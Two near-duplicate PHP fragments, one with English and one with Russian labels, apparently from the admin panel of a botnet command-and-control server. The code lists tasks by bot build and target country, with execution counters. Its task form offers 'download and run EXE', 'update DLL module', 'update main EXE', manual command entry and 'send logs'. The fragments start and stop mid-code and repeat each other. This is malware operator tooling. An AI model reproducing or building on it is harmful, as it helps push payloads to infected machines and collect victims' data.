echo "<table cellpadding='3' cellspacing='0' width='100%' class='light_table box' rules='all'>\r\n <tr><th>Command</th><th>Description</th><th>Count</th><th>Settings</th></tr>"; $count = 0; foreach ($tasks as $task) { $color = $count % 2 ? "#d3e7f0" : "#ebf4f8"; switch ($task['tState']) { case "running": $tcolor = "green"; break; case "stopped": $tcolor = "red"; break; case "finished": $tcolor = "#ffa500"; break; } echo "<tr bgcolor='{$color}' onmouseover=\"this.style.background='#ffffff'\" onmouseout=\"this.style.background='{$color}'\">\r\n <td align='center'>\r\n <span style='color:#808080'>Num:</span> {$task['tId']}<br>\r\n <span style='color:#808080'>Name:</span> {$task['tName']}<br>\r\n <span style='color:#808080'>Status:</span> <span style='color:{$tcolor}'>{$task['tState']}</span>\r\n </td>\r\n\r\n <td align='center'><span style='color:#808080'>Builds:</span> {$task['tBuild']}<br>\r\n <span style='color:#808080'>Coutries:</span> " . countryFromDB($task['tCountry1'], $task['tCountry2'], $task['tCountry3'], $task['tCountry4']) . "<br>\r\n <span style='color:#808080'>Command:</span> {$task['tViewCommand']}<br>\r\n <span style='color:#808080'>Only for clean / Mark as dirty / Confirm execution</span> {$task['tOnlyForClean']} / {$task['tMarkAsDirty']} / {$task['tConfirm']}</td>\r\n\r\n <td align='center'>\r\n <span style='color:#808080'>Need:</span> <span style='color:#ffa500'>{$task['tCount']}</span><br>\r\n <span style='color:#808080'>Begin:</span> <span style='color:green'>{$task['tStartedCount']}</span><br>\r\n <span style='color:#808080'>End:</span> <span style='color:black'>{$task['tFinishedCount']}</span><br>\r\n <span style='color:#808080'>Bad:</span> <span style='color:red'>{$task['tFailedCount']}</span></td>\r\n\r\n <td align='center'>"; if ($task['tState'] == "running") { echo "<a href='?act=tasks&d=" . $task['tId'] . "'>Stop</a><br>"; } if ($task['tState'] == "stopped") { echo "<a href='?act=tasks&d=" . $task['tId'] . "'>Start</a><br>"; } echo "<a href='?act=tasks&del=" . $task['tId'] . "'>Delete</a><br></td>\r\n </tr>"; $count++; } } else { $s = $db->query("SELECT * FROM daily")->fetchAllAssoc('dayBuildId'); echo "<form action='?act=tasks&add' method='post' enctype='multipart/form-data'>\r\n <table cellpadding='3' cellspacing='3' width='100%'>\r\n <tr>\r\n <td class='td_col_zag' width='30%'>Name</td>\r\n <td class='td_col_list' width='70%'><input name='tName' type='text' value=''></td>\r\n </tr>\r\n\r\n <tr>\r\n <td class='td_col_zag' width='30%'>Builds</td>\r\n <td class='td_col_list' width='70%'>"; foreach ($s as $b => $d) { echo "<input type='checkbox' name='tBuild[{$b}]' checked>{$b} "; }
echo "<table cellpadding='3' cellspacing='0' width='100%' class='light_table box' rules='all'>\n <tr><th>Задание</th><th>Описание</th><th>Счетчики</th><th>Действие</th></tr>"; $count = 0; foreach ($tasks as $task) { $color = $count % 2 ? "#d3e7f0" : "#ebf4f8"; switch ($task['tState']) { case "running": $tcolor = "green"; break; case "stopped": $tcolor = "#ff1a00"; break; case "finished": $tcolor = "#ffa500"; break; } echo "<tr bgcolor='{$color}' onmouseover=\"this.style.background='#ffffff'\" onmouseout=\"this.style.background='{$color}'\">\n <td align='center'>\n <span style='color:#808080'>Номер:</span> {$task['tId']}<br>\n <span style='color:#808080'>Имя:</span> {$task['tName']}<br>\n <span style='color:#808080'>Статус:</span> <span style='color:{$tcolor}'>{$task['tState']}</span>\n </td>\n\n <td align='center'><span style='color:#808080'>Билды:</span> {$task['tBuild']}<br>\n <span style='color:#808080'>Страны:</span> " . countryFromDB($task['tCountry1'], $task['tCountry2'], $task['tCountry3'], $task['tCountry4']) . "<br>\n <span style='color:#808080'>Команда:</span> {$task['tViewCommand']}<br>\n <span style='color:#808080'>Только для чистых / Пометить грязними / Подтверждать выполнени</span> {$task['tOnlyForClean']} / {$task['tMarkAsDirty']} / {$task['tConfirm']}</td>\n\n <td align='center'>\n <span style='color:#808080'>Нужно:</span> <span style='color:#ffa500'>{$task['tCount']}</span><br>\n <span style='color:#808080'>Начали:</span> <span style='color:green'>{$task['tStartedCount']}</span><br>\n <span style='color:#808080'>Завершили:</span> <span style='color:black'>{$task['tFinishedCount']}</span><br>\n <span style='color:#808080'>Неудачно:</span> <span style='color:red'>{$task['tFailedCount']}</span></td>\n \n <td align='center'>"; if ($task['tState'] == 'running') { echo "<a href='?act=tasks&stop=" . $task['tId'] . "'>Остановить</a><br>"; } else { echo "<a href='?act=tasks&continue=" . $task['tId'] . "'>Возобновить</a><br>"; } echo "\n <a href='?act=tasks&del=" . $task['tId'] . "'>Удалить</a><br></td>\n </tr>"; $count++; } } else { $s = $db->query("SELECT * FROM daily")->fetchAllAssoc('dayBuildId'); echo "<form class='formee' action='?act=tasks&add' method='post' enctype='multipart/form-data'>\n <table cellpadding='3' cellspacing='3' width='100%'>\n\t\t\t\n\t\t\t\t<tr>\n <td class='td_col_zag' width='40%'>Задание</td>\n <td class='td_col_list' width='60%'>\n <select style='width: 300px;' class='form' name='tasktype' id='tasktype' onchange='load_task_iface();'>\n <option value='DownloadRunExeUrl'>Скачать и запустить EXE</option>\n <option value='DownloadRunExeId'>Скачать с сервера и запустить EXE</option>\n <option value='DownloadRunModId'>Скачать и обновить модуль DLL</option>\n <option value='DownloadUpdateMain'>Скачать и обновить основной модуль EXE</option>\n <option value='WriteConfigString'>Записать в конфиг</option>\n <option value='Command'>Ввод команды вручную</option>\n <option value='SendLogs'>Отправить логи</option>\n </select>\n </td>\n </tr>\n\t\t\t\n <tr>\n <td class='td_col_zag' width='40%'>Имя</td>\n <td class='td_col_list' width='60%'><input style='width: 300px;' name='tName' type='text' value=''></td>\n </tr>\n\n <tr>\n <td class='td_col_zag' width='40%'>Билды</td>\n <td class='td_col_list' width='60%'>"; echo "<input type='checkbox' name='tBuild[ALL]' checked>Все билды "; foreach ($s as $b => $d) { echo "<input type='checkbox' name='tBuild[{$b}]'>{$b} "; }